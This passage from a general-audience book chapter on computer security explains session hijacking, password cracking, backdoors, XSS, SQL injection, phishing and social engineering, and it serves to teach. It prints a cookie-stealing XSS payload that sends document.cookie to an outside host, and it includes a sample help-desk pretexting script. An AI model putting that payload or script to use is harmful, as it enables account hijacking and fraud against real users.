versation with Facebook reverts from the encrypted HTTPS protocol used 
for the login to the unencrypted HTTP protocol, then the session cookie is
not encrypted against eavesdroppers. 
In (HTTP) session hijacking (or sidejacking) attacks, an eavesdrop­
per obtains your session cookie and then can pretend to be you by send­
ing that cookie to Facebook just as you do. The hijacker can do anything 
on your Facebook site that you can do once you have logged in. In our 
metaphor of doors and guards, what has happened is that while in your
neighborhood, the eavesdropper has stolen your ID credential for getting 
into Facebook’s building, so the eavesdropper can go to Facebook and give
your credential to the credential-checking guards at the entrance, and the 
guards will allow the eavesdropper access to all your stuff at Facebook.* 
* 	 It is not surprising that cookies showed up in Chapter 5 on privacy and again here in Chapter 8 
about computer security. Cookies are necessary things for the working of the web. Remember
from Chapter 2 that the whole web runs on the client–server model. Without something like cook­
ies, the web client (i.e., you, the end user browsing the web) would not have what computer sci­
entists refer to as state. That is to say, there would be no memory of any past interaction between 
your web client and the website’s server—meaning for example, that Facebook wouldn’t know
that you had logged in and Amazon wouldn’t know that you had placed items in your shopping
cart. Cookies maintain the state of the interaction that you are having with a website. Of course, 
that state can be used for tracking, which is why there are privacy issues with cookies. That state 
is properly used for authenticating your particular logged-in session with a website, so there are 
security issues if malicious third parties can steal your session cookies. 
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In late October 2010, a programmer released a free plug-in for the 
Firefox web browser called Firesheep to carry out precisely such session 
hijacking attacks on open wireless networks.* No computer skills were  
needed. You just needed a couple of clicks to add Firesheep to Firefox, 
and then you got a lovely graphical window with a nice button labeled 
“capture.” Anytime you were on an open wireless network with somebody
using any site known to Firesheep (including Google, Facebook, Twitter,
and Flickr among many others), session hijacking was simple. 
About 3 months after the release of Firesheep, Facebook made entire-ses­
sion HTTPS (not just login) available as an option to users; about 2 months
after that, Twitter did as well. Incidentally, the author of Firesheep said that
he created Firesheep precisely to induce major websites to start providing 
HTTPS connectivity. Session hijacking was a well known attack within
the computer security and hacker communities long before the release of
Firesheep. What Firesheep did was simply to make such attacks easy. 
Session hijacking is primarily an attack on confidentiality. The attacker 
steals a secret from you—your session cookie—and that lets the attacker
see all your information in the session you logged into. Session hijacking 
can also be an attack on integrity. Once the attacker assumes your identity
for a session, the attacker cannot only read all the things in your Facebook 
(or Twitter or Flickr, etc.) account, but can also post things as you. 
We turn to attacks on authentication next. Many of these attacks will
also have this flavor of being an attack on both confidentiality and integrity. 
ATTACKS ON AUTHENTICATION 
We begin by noting that the line between an attack on confidentiality
and an attack on authentication is blurry. An attacker using Firesheep to
steal your session cookie is both trying to steal something that should be 
your secret (attack on confidentiality) and trying to take on your identity
(attack on authentication). The essence of an attack on authentication is  
stealing or forging a credential that allows an attacker to masquerade as
somebody else. We indicate the blurred lines between attacks on authen­
tication, confidentiality, and integrity by the dotted lines in Figure 8.4. 
Password cracking will be our example of an attack on authentication. 
Guards may ask for credentials just as the guards at the United Center 
may ask to see your ticket. A session cookie is one kind of credential; a 
* 	 If you recall, we began our general discussion of packet sniffing and HTTP versus HTTPS with the 
October 2010 date. The choice was not random. 
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Types of attacks 
Availability Confidentiality Authentication Integrity 




FIGURE 8.4 Overview of attacks with authentication attacks added. Dotted
lines indicate that authentication almost always involves an attack on confidenti­
ality and often also an attack on integrity. 
password is another. Passwords can protect a LAN or a particular com­
puter. However, the most common use of passwords today is at specific 
inner doors—at computer programs designed to be accessed via the web.
Our records with many organizations, including those storing financial
and other sensitive data, are available to us via a website. More precisely,
they are available to anybody with our login name and our password.
Login names are often very easy to obtain because they are an e-mail
address; because we use the same one across very many websites, some of
which make them public; or because some organizations have a pattern 
for employee login names, such as first initial followed by last name. That 
leaves the password as the only real protection. 
Password Cracking 
Passwords are inherently problematic because of conflicting goals. The
security goal is to choose a password that is very hard to guess, that you
do not write down, and that you do not reuse. The convenience goal is
to choose a password that is easy to remember and to use. Most of us  
have dozens and dozens of passwords, and the temptation is to give way
too much weight to the convenience goal. A fair amount has been writ­
ten about passwords, and we will not delve deeply into that subject here. 
We will just point out that simple brute-force attacks by computer can 
be very effective in cracking passwords. A password that can be guessed 
with “only” 100 million guesses is not terribly secure. A computer that can 
make and check 1,000 guesses in a second needs only 28 hours, or just over
a day, to make 100 million guesses. Moreover, it is easy to find lists of two 
million or so passwords that contain an awful lot of the passwords that
most of us generally use. (As of the time of this writing, you can down­
load a plain text file of over two million passwords from the website of a 
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Malaysian web development company called Dazzlepod, from the URL 
http://dazzlepod.com/site_media/txt/passwords.txt. You are very likely to
find at least one password that you are using right now in that file.) 
ATTACKS ON INTEGRITY 
To attack integrity, hackers need to pass by any guards we designed to  
intercept them and get all the way to the innermost rooms to alter files.
One way to do this is by impersonating somebody who is authorized to
enter those rooms. Another way to get past the guards is to go through a 
door that they are not watching. We complete our series of diagrams in 
Figure 8.5 with an overview of some of the different attacks on integrity. 
Secret Doors 
A backdoor (or trapdoor) is a secret way either into the computer itself
or into a particular piece of software that was left behind by the software 
developers. It truly is a secret door, in that the computer’s user doesn’t 
even know it exists. Unguarded secret doors make it easy to attack integ­
rity. A typical backdoor is a specific undocumented user name and pass­
word combination or a specific command name that grants access. Older
readers and fans of science-fiction movies may remember that a backdoor 
password was used at the dramatic high point of the 1983 film WarGames. 
FIGURE 8.5 Complete overview of types of attacks, including various sorts of
attacks on integrity. 
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Creation of backdoors is not always malicious. Sometimes such back-
doors are left behind just to make the developer’s life easier if he or she 
is asked to do some maintenance task on the software at a later date. 
Backdoors are an example of an insider threat. It has always been a truism 
in security that trusted insiders are an especially significant threat. Long
before the Internet age, top bank security officers knew that bank employ­
ees posed just as significant a threat as bank robbers. 
These days, stand-alone backdoors are a relatively rare occurrence, par­
ticularly in mass-market software. Malware is the far more serious threat. 
Unintended Doors: Software and Hardware Vulnerabilities 
When the contractors were building the United Center, we can imag­
ine them building a door by mistake where the blueprints did not call
for one, but it is hard to imagine no one would notice. Once the error
became known, the builders would correct it, or if the door stayed in
the finished building, security would make sure it was locked. In con­
trast, software and hardware developers inadvertently create “doors”— 
vulnerabilities—not called for in the “blueprints,” and these doors are
numerous, hard to notice, and thus remain unlocked. Hackers find them
and walk right in. 
Once inside, hackers typically install malware. Malware is malicious 
software. Examples of malware include Trojans, worms, and viruses.* 
Malware is a particularly involved and interesting subject, and we will
devote most of the next chapter to it. Here we will just note the features
relevant to our typology of attacks on computers and networks. Once
inside, malware exploits vulnerabilities in the operating system and 
application programs to gain access to computer and network resources.
Also, malware typically installs some sort of backdoor, so that the hacker 
will have easy unauthorized access in the future. (In terms of our anal­
ogy, the hackers cut a new door into the building for their own personal
use.) Integrity attacks (stealing or altering information) are a common
goal of malware. Another common goal is to take control of the computer
and its network connection to be able to use it from time to time as one
bot in a botnet. 
* 	 Closely related to malware are rigged media files. A rigged PDF that exploits a vulnerability in
Adobe Reader is technically not malware (because the PDF file is not software), but the prin­
ciple is the same: going through a door that should not exist at all—that is, exploiting a software 
vulnerability. 
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Malware is at least one part of most attacks.* For example, we men­
tioned earlier that distributed denial-of-service attacks are frequently car­
ried out by botnets, and we just said that malware is used to take over a 
computer to become part of a botnet in the first place. Indeed, the list we
give here of all the different kinds of “doors” is in one sense misleading 
because so many attacks, when considered from the point of view of the 
entire life cycle of the hacker’s activity, use not one kind of door, but rather 
multiple doors on multiple computers. 
Unwanted Doors: Web Server Vulnerabilities 
If you are in charge of the security of a web server (a computer that deliv­
ers [serves up] website contents to anyone on the Internet), then there is
not much you can do about guarding the gates into the network or the 
doors to the web server computer. After all, the point of most web servers 
is to be open to everybody who wants to visit the website. Thus, the soft­
ware that actually receives and answers requests for web pages must itself
be secure. We will describe two very common attacks on vulnerabilities 
in that website software: cross-site scripting and SQL injection.† However,
to describe those attacks on web applications, we first need to go into a bit 
more detail about how the web works. 
When you surf the web, you use an application called a web browser. A 
web browser requests information from some remote computer, referred
to as a web server, and the server responds by sending back information. 
The information that a web server sends over the Internet to your browser 
consists of a set of characters written in the hypertext markup language
(HTML). HTML gives directions about how to format text. Some read­
ers may know a small amount of HTML, because certain websites allow 
you to use a little bit of HTML formatting when putting information into
text boxes. For example, currently, when you make comments on the New
York Times website, you can use the HTML i tag like this: <i>to get italic 
text</i> and the HTML b tag like this: <b>to get bold text</b>. (Other 
websites may instead have a button to click to allow you to format your
text, and though you don’t realize it, those buttons are invisibly inserting 
the necessary HTML tags for you.) 
* 	 The main exceptions would be certain attacks targeted at a specific organization and some straight
social engineering attacks. 
† 	 Cross-site scripting and SQL injection are by no means the only kinds of attacks on websites. There 
are, alas, many other types of attacks, such as cross-site request forgery, operating system com­
mand injection, and LDAP injection. 
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The HTML for a modern web page can be quite complex, but in the 
end, HTML consists only of formatting commands. You cannot write a 
program to add numbers or to sort words into alphabetical order using 
HTML, because it is only a language for formatting text, rather than a full-
fledged programming language. In this way, HTML is similar to a word 
processing program like Microsoft Word: You can use Microsoft Word by
itself to format your documents, but not to program.* 
However, HTML has a one special tag, the script tag, which allows people
to put computer programs into HTML. The script tag is not a formatting 
tag. Rather, it says that what comes next is a program in the JavaScript pro­
gramming language that the web browser displaying the web page should
run. That script tag plays a crucial role in cross-site scripting attacks. 
A cross-site scripting vulnerability exists when a web server uses
unchecked, untrusted user input to generate a page to be displayed.† There
are a few variations on cross-site scripting attacks. We will explain a 
simple version (persistent cross-site scripting) here to illustrate the idea, 
although currently more complex versions of cross-site scripting attacks
are more common (because website managers today generally defend
against the simple attack we are describing). Many websites have a space 
for users to comment, and many of those websites allow the use of at least 
certain simple HTML tags for formatting, such as the italic and bold tags 
we described earlier, in these user comments. If a website allows the com­
ments to put in arbitrary HTML, then an attacker can take advantage of
HTML’s script tag. If, for example, the Chicago Tribune website allowed
arbitrary HTML tags in comments on stories, a hacker might put in a 
comment of the form <script>Malicious JavaScript Program</script> in
the comments section. 
Then, if you visited that page of the Chicago Tribune’s website with your
web browser, that Malicious JavaScript Program would be run by your
web browser on your computer. What might that Malicious JavaScript 
Program do? Well, it could make a request to download a piece of mal­
ware to your computer. (This sort of download, where you never intended 
to download anything but only to visit the Chicago Tribune’s web page to
* 	 We say “Microsoft Word by itself” because many versions of Microsoft Word have had a program­
ming language called Visual Basic built in, so using the Visual Basic commands, one could write 
computer programs that would run inside Microsoft Word. Indeed, such Visual Basic programs
(in this context often called macros) were a rich source of malware in the 1990s and early 2000s 
and still crop up occasionally today. 
† Cross-site scripting is often abbreviated as XXS. 
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read the news, is called a drive-by download.) JavaScript has the ability to
direct users to a new website, so the attack might direct users to a hacker-
controlled variant of the Chicago Tribune page covered with graffiti or to
a phishing version of the website. JavaScript also allows a programmer to
request cookies, so the sidejacking attack we described earlier is also pos­
sible with cross-site scripting. Here is an example of malicious JavaScript 
that can be used to steal cookies: 
http://host/a.php?variable = “><script> 
document.location = ‘http://www.cgisecurity.com/cgi­
bin/cookie.cgi? ‘%20+document.cookie</script> 
It is very short, and, to a programmer, it is very simple. 
Computer security experts classify cross-site scripting technically as an
attack on the web client (i.e., on the end user) and not on the web server 
because it is your web browser that runs the malicious JavaScript pro­
gram, not the web server. However, there is nothing you can do about 
it. In general, you want your web browser to run JavaScript programs, 
because many websites use JavaScript to provide functionality that you 
want to use. For instance, intuit.com’s free TurboTax Federal Income Tax
requires JavaScript. Cross-site scripting vulnerabilities are very common:
Cross-site scripting vulnerability is number 4 on the SANS/CWE list of
vulnerabilities mentioned in Chapter 6, and number 2 on the OWASP Top 
10 risks list.* 
Incidentally, cross-site scripting vulnerabilities are usually found in
custom-built software rather than mass-market software. Most web-
sites use a small number of widely used pieces of infrastructure soft­
ware (e.g., Apache), and that software is very unlikely to have cross-site
scripting vulnerabilities. However, the software that makes any one web-
site distinct from other websites is necessarily written for each website,
and cross-site scripting vulnerabilities typically occur because of pro­
gramming errors in that software. Thus, our suggestions in Chapter 7  
for reducing vulnerabilities in mass-market software will not help with
cross-site scripting vulnerabilities. 
* 	 OWASP is the Open Web Application Security Project, a not-for-profit dedicated to helping orga­
nizations with web security. OWASP maintains a list of the most common vulnerabilities in spe­
cifically web-facing software. The SANS/CWE list that we discussed in Chapter 6 lists common
vulnerabilities in all software. 
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Now we turn to another type of attack: SQL injection. Many websites
are connected to a database containing the information the website uses
to respond to specific user queries. Generally, a user first types some text
into a web form and then clicks a submit button (or hits the return key). 
Then the user’s text is transmitted to the web server, which does a lookup
in the database using that text. Based on the database’s answer, the web 
server creates and displays a new page for the user. This is how Google and 
other search engines work when you type in search terms and, indeed, 
how any sort of search or lookup on a website works. Some familiar exam­
ples include searching for the title of a book on the Amazon website, a city
name on a weather website, or a particular tax form on the IRS website. 
Also, a typical login page works this same way, issuing a query to a 
database of login names and passwords. Notice that the database should
be accessible only to the web server—not to the general public. It is not
particularly worrisome if the general public can access Weather.com’s 
database of weather forecasts sorted by cities, but it is a big problem if
the general public can access an employer’s database of employee names,
Social Security numbers, and paycheck records. 
So how can an attacker gain access to the database associated with  
a web server? The language used for querying databases is SQL. A web 
server takes a user query, such as the book title The Odyssey, and from
it constructs a query in the SQL language to the database. In an SQL-
injection attack, instead of typing in the expected query, the user types 
in a string of SQL. For example, an attacker might enter the SQL asking 
the database to return the contents of all the records in the database. If
the web server does not check to see that the contents of the string from
the user is in the expected form, the server may pass the SQL query string 
from the user to the database and include the database’s response in the 
page it displays to the user. 
As an example, imagine that the web server for a library asks you for 
a book title, and the web server’s program’s internal logic is “Create and 
display a web page with all the information about any book such that the 
book’s title is equal to <user’s input title string>.” If the user’s input string 
is something that is always true, such as “1 = 1” instead of a book title, then 
the web server may treat the always-true statement “1 = 1” as a command 
to display a list of all records of all books. 
SQL-injection vulnerabilities and cross-site scripting vulnerabilities 
have something in common with the buffer overflow vulnerabilities that
we discussed in Chapter 7. In all three cases, the vulnerability comes from
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taking an input string from a user and processing that string without first 
checking that the string is of the expected form. For buffer overflows, the 
issue is the length of the string, whereas for cross-site scripting and SQL 
injection, the issue is the contents of the string. Roughly speaking, does
the string consist of a “computer program” rather than “just plain text”? 
These three vulnerabilities also have something else in common: They all 
occur much too often. SQL-injection vulnerabilities are number one in
both the SANS/CWE list and the OWASP top 10 list. 
An important difference among these three vulnerabilities is, perhaps,
just how common they ought to be in practice if software developers were
reasonably diligent. As we discussed in earlier chapters, there is no excuse 
for buffer-overflow vulnerabilities. The same is true for SQL-injection
vulnerabilities. SQL-injection attacks surfaced a full decade ago, and 
the defenses to them are straightforward and well understood. Also, by
now, SQL injection has been responsible for some very large, famous data
breaches, including the 2008 Heartland Payment Systems breach where a 
staggering 130 million credit card records were stolen. More recently, in
early 2011, McAfee described a multiyear major hacking operation against 
a number of oil and gas companies, dubbed “Night Dragon,” that origi­
nated in China and sought to steal highly sensitive company information, 
such as exploration data and bidding plans for auctions. The overall attack 
involved many steps, but the first step in getting inside a company (break­
ing into the gated neighborhood) was an SQL-injection attack.6 
Certain cross-site scripting vulnerabilities are somewhat more for­
givable than SQL-injection or buffer overflow vulnerabilities.* Cross-
site scripting attacks were discovered more recently than SQL-injection
attacks, though long enough ago that there is no longer any excuse for
developer ignorance. Moreover, it would be easy to reduce the number of
* 	 Note that the economic incentives for defending against cross-site scripting and SQL injection 
are different. Both attacks exploit vulnerabilities in the web server code, but the cross-site script­
ing attack is an attack on the client (i.e., web surfer) via the web server, whereas SQL injection is
an attack on the web server’s information itself. At least that is generally correct, though there 
is a quite technical qualification, which we offer for readers interested in these details. While a 
routine cross-site scripting flaw does not expose the server’s database information to the level of 
threat that a typical SQL-injection vulnerability does, a cross-site scripting vulnerability on the 
web application’s administrator’s page may do so (and there have been several cases). In this case,
the attacker has at least the same capabilities that he or she can get through an SQL-injection 
vulnerability and perhaps a bit more. Another economic factor is that SQL-injection attacks can 
be mitigated by relational database-level protections, whereas cross-site scripting is firmly in the 
hands of web developers, and databases are a much more mature industrial segment than web 
application development. 
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cross-site scripting vulnerabilities dramatically by some straightforward 
checking on the part of developers. However, there are some applications, 
such as software that supports wikis, where it is quite challenging to elimi­
nate all possible cross-site scripting attacks while still supporting highly 
expressive user input. 
We suspect that both SQL-injection and cross-site scripting vulnerabil­
ities remain common in practice because the script programming skills 
needed to set up a website are fairly simple and possessed by almost any 
contemporary programmer. However, the skills needed to avoid these vul­
nerabilities are more advanced. 
Doors We Are Tricked into Opening 
Anyone who is at all familiar with vampire myths knows that in the clas­
sic vampire tales, vampires can’t enter a house unless invited in,* so we
cringe in the vampire movie when some innocent, ignorant person asks
the obvious-to-us vampire to cross the threshold. But far too many of us
do this all too often with criminals seeking access to our computers or
our sensitive personal information. The criminals exploit a vulnerabil­
ity, but this time it is a vulnerability of human beings—our propensity
to trust when we should not. Social engineering, phishing, and Trojan
horses exploit this vulnerability. 
Social engineering is pretending to be someone else in order to gain 
access to a computer or network or, more generally, to obtain any con­
fidential information. Skip tracers (professionals specializing in locating
people) have practiced social engineering for years, as have debt collectors,
bounty hunters, private investigators, and journalists. As a former skip
tracer notes, “Successful skip tracers…can make the person on the other 
end of the phone believe anything and thereby extract all the information 
[they] need.”7 
To illustrate, suppose you want access to confidential corporate records.
You consult the company’s website to learn the names of personnel that
would have access to the records. Searching Facebook and other social
networks, you discover that Tim Jones, a midlevel executive, is on vaca­
tion; he most likely has access to what you want. At the end of the workday
* 	 One of the authors’ teenagers informs us that there is a new breed of vampire described in some 
work called Twilight and the Twilight vampires do not have to be invited in before they can enter a 
home. We assert that Twilight vampires are not classic. 















202  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
when everyone wants to get home, you call the corporate Help Desk in a 
panic. You say, 
This is Tim Jones in Marketing. Can you help me? I am really in a 
fix. I’m on vacation but I forgot to finish a report before I left. I have
got to get that report in, or I could lose my job. I can’t get into my
files. I can’t believe it, but my mind has just gone blank, and I can’t 
remember my password—must be the jet lag. Could you please give
it to me? I don’t know what else to do. My wife is with me, and I just 
want to get this done without upsetting her. 
With luck, you will get the password. You can then try to guess the user 
name (often not too difficult), or you can say, “So I just log in with that
password and “tjones82.” No wait, that’s my Gmail name. I am in such 
a panic! I can’t think straight. I had better get my user name from you 
too.” Some people are remarkably effective in using these techniques. They 
simply exploit the human propensity to trust and to help to get us to open
doors for criminals. 
Phishing exploits this tendency too, along with, in many cases, greed 
or fear. Phishing is using an electronic communication, often an e-mail,
masquerading as being from someone trustworthy in order to direct the 
user to a website that looks like a real website, but is intended only for 
gathering confidential information such as passwords. The name is a play
on fishing, with the idea being that the e-mail is the bait that lures the vic­
tim to the website. A sample of a phishing e-mail that one of the authors 
received recently is in Figure 8.6. On the day that e-mail was received, 
the URL in the e-mail led to the very proper looking but bogus version 
of a PayPal web page shown in Figure 8.7. Of course, that bogus web page
asked one to “login to PayPal.” Anybody who in fact did enter his or her 
PayPal user name and password was giving that information to heaven 
only knows which hacker. 
Our tendency to trust combined with helpfulness, greed, or fear lead 
us—too many of us—to comply with phishing requests. Incidentally, the 
makers of the major web browsers are attempting to detect phishing sites 
and alert users. The warning shown in Figure 8.8 is an example. However,
correctly identifying such phishing sites is a difficult technical problem. 
If the original phishing e-mail is highly targeted, then the attack is often
referred to as spear phishing. Spear phishing can be very effective. Back 
in 2004, West Point, as part of a security exercise, sent e-mails to over  
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FIGURE 8.6 Phishing e-mail received by one of the authors. 
FIGURE 8.7 Phishing website that looks remarkably like the real PayPal website. 
Notice that the URL in the address bar is www.paypal-aq.com rather than www. 
paypal.com. How many people do you think would notice that difference? 
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FIGURE 8.8 Browser giving warning about phishing instead of displaying the 
bogus PayPal site shown in Figure 8.7. 
500 cadets from a fictitious colonel instructing the cadets to click on a 
particular link to clear up a problem with their grades. Over 80 percent of
the cadets did so.8 (They arrived at a website informing them that they had 
been successfully lured.) A few years later researchers at Indiana University
used social networking sites to come up with names of friends of under­
graduate students and then sent spoofed e-mails that appeared to be from
a friend asking students to log in to a website with URL https://www. indi­
ana.edu/%7e%70hi%73%8%69%67. An astonishing 72 percent went to that
website and gave their Indiana University user name and password.9 
Most impressively of all, in March 2011 one of the top security firms in
the world, RSA, fell prey to a spear phishing style attack that had very seri­
ous consequences. RSA produces hardware security tokens used in situ­
ations where companies such as defense contractors or investment banks 
want to have highly secure logins to computers. These tokens generate a
new random number a few times a minute, and to log in, a user must give
the current number on his token. (See Figure 8.9, showing an RSA token. 
We’ll mention these tokens again later in this chapter, when we discuss 
their use as a significant enhancement to passwords.) 
A recruiter working for EMC, RSA’s parent company, opened an e-mail
allegedly from his or her boss, with subject “2011 Recruitment plan” and 
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FIGURE 8.9 RSA secure ID token. (Image republished from f-secure.com blog 
2011. Used with permission.) 
body “I forward this for your review. Please open and view it” and one 
attachment: a Microsoft Excel spreadsheet file titled “2011 recruitment 
plan.xls.”10 The employee did indeed open the spreadsheet, which con­
tained malware giving the attackers full access to both that computer and 
to any remote drives accessible on the LAN of that computer. It exploited 
a zero-day vulnerability. Stolen information about the tokens was used to
mount a major cyberattack against Lockheed Martin, the largest defense 
contractor in the United States.11 RSA has as of this writing spent at least 
$50 million replacing tokens for customers around the world. 
The RSA attack also shows that the definition of “phishing” is not yet 
precisely settled. The technology press has generally referred to this social
engineering e-mail attack on RSA as a phishing attack, even though it did 
not lead to a website. Whether or not we consider e-mail-based attacks that
do not direct us to bogus websites to be phishing, we know there is a flood
of widely sent, untargeted fraudulent spam e-mail trying to trick us into
revealing information or giving away our money. This takes many forms:
e-mails claiming you have won a lottery, a pop-up screen that claims it
has just run a virus scan and detected dangerous viruses that are about to
crash your computer, or e-mails purporting to be from a friend traveling 
internationally who has just been mugged and lost his or her wallet and 
passport and must have money transferred immediately, and on and on. 
Trojan horse malware exploits us in the same general way. A Trojan
horse, or simply a Trojan, is a malicious program masquerading as a safe
and useful one; a common example is a free screensaver that conceals a 
program that will detect and allow access to confidential information, 
such as your passwords. When we download the seemingly safe and use­
ful program, we open the door to the malicious one. Incidentally, a Trojan
doesn’t always have to be something you downloaded from the Internet. 
The malware in the USB mouse we described earlier in this chapter was 
an example of a Trojan. Another recent Trojan, called Mocmex, was 
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found in digital picture frames manufactured in China. When you con­
nected the picture frame to a Windows computer via the USB port in
order to load pictures from your computer onto the picture frame, unbe­
knownst to you the picture frame loaded malware onto your computer. 
We will discuss some more Trojans in the next chapter when we consider 
malware in more depth. 
We have just worked our way through a depressingly long list of attacks.
Now we turn to defenses. Before we do so, it’s worth noting that one way in
which the analogy with providing security for the United Center is quite 
apt is that perfect, absolute security is impossible, or at least utterly imprac­
tical. If you were providing the security for the United Center, you might 
decide to purchase very good locks for the doors that should be locked and 
to hire high-quality, well trained security guards. You would expect those 
locks and guards to deter or defeat many attacks on your security, but 
not to prevent all attacks. A thief who is extraordinarily skilled in picking 
locks or simply extremely lucky might occasionally defeat the locks, and 
a group of robbers armed with submachine guns would almost certainly 
defeat the guards. 
Security does not mean making attacks impossible. Rather, the goal is
to spend enough on precautions to stop those attacks that are relatively 
easy to prevent. More precisely, the goal is to spend enough on security 
measures so that the marginal cost of one additional security measure  
would be greater than the expected value of the attacks that next security
measure would prevent. Of course, it is quite difficult to make that calcu­
lation. Even in the case of the United Center, it is hard to know just how 
many attacks you prevent by hiring one more guard or by buying the next
higher grade of lock. The analogous calculation for computer security is
much more uncertain. 
MULTIPLYING, ELIMINATING, AND LOCKING DOORS 
Let us turn to defense. One way to “defend” is to avoid the need to do 
so. You can avoid peer-to-peer file sharing sites focusing on music and 
video, for example, since such sites have been well known sources of
malware. In general, avoiding dangerous areas is one way to reduce the 
threat of attacks. 
When you need to truly defend, you have four main ways to do so: mul­
tiplying, eliminating, and locking doors, and posting guards. We consider 
the first three in this section and posting guards in the next. 
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Multiplying Doors 
What we are calling “multiplying doors” is typically called the defense of
diversity. We lack diversity when a particular piece of software is found on
a significant fraction of all computers—for example, the Windows operat­
ing system, Internet Explorer, Firefox, Microsoft Office, and Adobe’s PDF 
reader. This makes it well worthwhile for hackers to focus on finding holes 
in that software. Find one vulnerability, and you can attack many targets.
Increasing diversity reduces the number of targets per type of vulnerabil­
ity. To fit this into our “doors” metaphor, think of diversity as providing 
multiple kinds of doors. Finding a way to get through one type of door only 
gets you into a limited number of places. Diversity is defense for society as
a whole. For an individual, there is often a trade-off. Avoiding a dominant
piece of software is likely to avoid some attacks, but often also means for­
going the benefits of a network effect from widely shared software. 
The battle between the minority Apple Macintosh operating systems 
and the dominant Windows operating system makes an interesting case 
study about the benefits of diversity. There is widespread agreement in the 
computer security community that users of Macintosh computers have
seen many fewer attacks over the past decade than users of Windows.
What is not agreed upon is why there have been fewer attacks on Macs. 
Perhaps, since there are so many more Windows machines than Mac 
machines, hackers simply haven’t put much energy into attacking Macs. 
The point is controversial, however, with some contending that the Mac 
operating system is more secure. 
Eliminating Doors 
One way to keep people from coming in open doors is not to have the  
doors in the first place. Both software developers and end users can elimi­
nate access points. As we discussed in the last two chapters, software 
developers can create software with dramatically fewer vulnerabilities.
In the case of certain common vulnerabilities, including SQL injection, 
cross-site scripting, and buffer overflow, we know exactly what software 
developers need to do to eliminate or to reduce drastically the number of
such vulnerabilities. 
End users can eliminate doors by applying patches as soon as they are 
available. Of course, there are no patches for zero-day vulnerabilities.
However, the overwhelming majority of vulnerabilities are not zero-day
vulnerabilities, but rather vulnerabilities that have been known for some
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time and for which patches have been released. Prompt regular patching is
important for all software, but it is especially important for the operating 
system, for basic infrastructure software such as Java, and for those appli­
cations that are likely to be on very large numbers of computers, such as
web browsers, Microsoft office, media players, photo viewers and editors,
and PDF viewers and editors. 
Another way to eliminate doors is to eliminate software. Systems can 
be made more secure by not installing software that there is no particular
need to have in the first place. It also may help to avoid “free” software that
comes from untrusted sources. For home users, reputable sources include 
large, well respected corporations and well respected open-source soft­
ware sources (e.g., the Mozilla Corporation and its Firefox browser). 
Locking Doors 
If we think of a vulnerability as a door, then eliminating the vulnerability 
is the equivalent of eliminating the door. Are there any “doors” to our 
computers and LANs that we don’t eliminate but just permanently lock? 
The outer doors—that is, both the doors to the computer itself and to the 
LAN—must be open to allow some people in, so we can’t permanently
lock them; all we can do is post guards. In contrast, we can lock some
internal doors. One example is the AutoRun feature of Windows, the fea­
ture that starts a program on a CD or a USB stick running automatically.
Some types of malware use the feature to gain access. Some versions of the
Sony BMG rootkit that we discussed in Chapter 6 relied on the AutoRun 
feature. You can lock the AutoRun door by disabling that feature. 
Encryption is another type of lock. It is like putting your data in a safe
to which only you (and perhaps authorized others) have the key. You can 
encrypt data in transit over a network and data at rest on your computer. 
Encrypting data at rest—that is, encrypting your hard drive—is like
locking it in a safe to which only you have the key. Since the hackers can­
not read the data, they are useless to them. Hackers might perhaps still
destroy the data, or threaten to do so in a blackmail scheme, but they can­
not steal, copy, or alter them. Encrypting data at rest also provides excel­
lent protection if your computer is lost or stolen, a not uncommon event
for laptops. Encryption of data at rest is, however, not a routine practice. 
Encrypting a hard drive requires some technical know-how and takes 
some time and effort. 
Some encryption in transit is routine. This is true even on open wireless
networks as long as the exchange between your computer’s web browser 
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and a website uses the HTTPS protocol. HTTPS is encrypted while HTTP
is not. Encrypting data in transit over a wireless network between your
computer and the nearby piece of hardware that connects to the wired 
network prevents packet-sniffing attacks. It is possible to encrypt more
data in transit, in particular e-mail, but e-mail is rarely encrypted in prac­
tice. One reason for this is that nobody has yet developed inexpensive or
free software that makes sending encrypted e-mail easy. Additionally, 
encrypting your e-mail would protect you from only certain types of
attacks. Encrypting your e-mail would guarantee that your e-mail pro­
vider, such as Google, couldn’t read your e-mail to provide advertising  
related to the contents of your e-mail, and it would guarantee that no
intelligence agencies could scan your e-mail.* However, encrypting your
e-mail would provide precisely zero protection against malware, phishing, 
social engineering, and so on. 
POSTING GUARDS 
As we mentioned in the beginning of this chapter, we need two different 
sorts of guards: guards that look for suspicious behavior and guards that
check credentials. The guards that check for suspicious behavior are anti­
malware software (often referred to as antivirus software). We will discuss 
antimalware software in the next chapter. In the rest of this chapter, we
consider only credential-checking guards. 
Credential-checking guards come in two basic varieties. First are those 
that are checking for the possession of some credential, typically a pass­
word or a session cookie. These might be used at any of the three categories
of doors. Second, we have guards with lists of who to admit and who not to
admit. These are firewalls, and they are used only at the gates to the neigh­
borhood (LAN) and the doors into the building (the particular computer). 
Why are there these two different sorts of systems? First, it is generally 
a good idea for security to have multiple defenses. This concept is referred 
to as defense in depth. Second, the guards checking for possession of a 
password or a cookie are working at the level of individual people sign­
ing in to a website or a computer, whereas the guards with the lists of
whom to allow and whom to stop are working at the level of packets in the 
Internet layer of the Internet protocol suite that we discussed in Chapter 2.
We already discussed session cookies in the context of attacks, so now we
* 	 There have been claims that US intelligence does automated scanning of much of the world’s
e-mail. 
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will discuss authentication (including passwords), firewalls, and intrusion
detection/prevention systems. 
Authentication 
Passwords are a very familiar form of authentication, and they have some
well known limitations. As we have already mentioned, weak passwords
are vulnerable to brute-force password guessing attacks, although there 
are various things that the designers of computer systems can do to make 
such brute-force attacks more difficult. Perhaps the simplest is to impose 
a short time delay between retries of passwords and to put some limits on
the number of attempts. A computer program can very quickly try a mil­
lion passwords if there are no limits on retries, but if attempts must come
2 seconds apart and after 20 failed attempts no more attempts are allowed 
for 10 minutes, then it will take about a year to try a million passwords. 
Meanwhile, even an absent-minded and impatient human should be able
to manage with a 2-second delay between attempts and a time-out after 20
failed attempts. 
A stronger form of authentication than passwords alone is two-factor
authentication, which, as the name suggests, requires people to authenti­
cate themselves in two different ways. Classically there are three ways to
authenticate yourself: by something you know (e.g., a password), some­
thing you have (e.g., a physical key), or something you are (e.g., biometrics
such as fingerprints). Many high-security settings have required pos­
session of security tokens plus passwords for years, and today some lap-
tops come with finger scanners. Ironically, the most important producer 
of these security tokens, RSA, was recently the victim of the successful 
phishing attack that we discussed earlier in this chapter. In 2011, Google
made two-factor authentication available for Gmail. The second factor
is an application that runs on your smartphone and generates a security
code that you must enter in addition to your Gmail password in order to
log into Gmail. 
Firewalls 
Just as we could put guards both at the entrance to the United Center and 
at the gates leading into the neighborhood, we can also put a firewall at
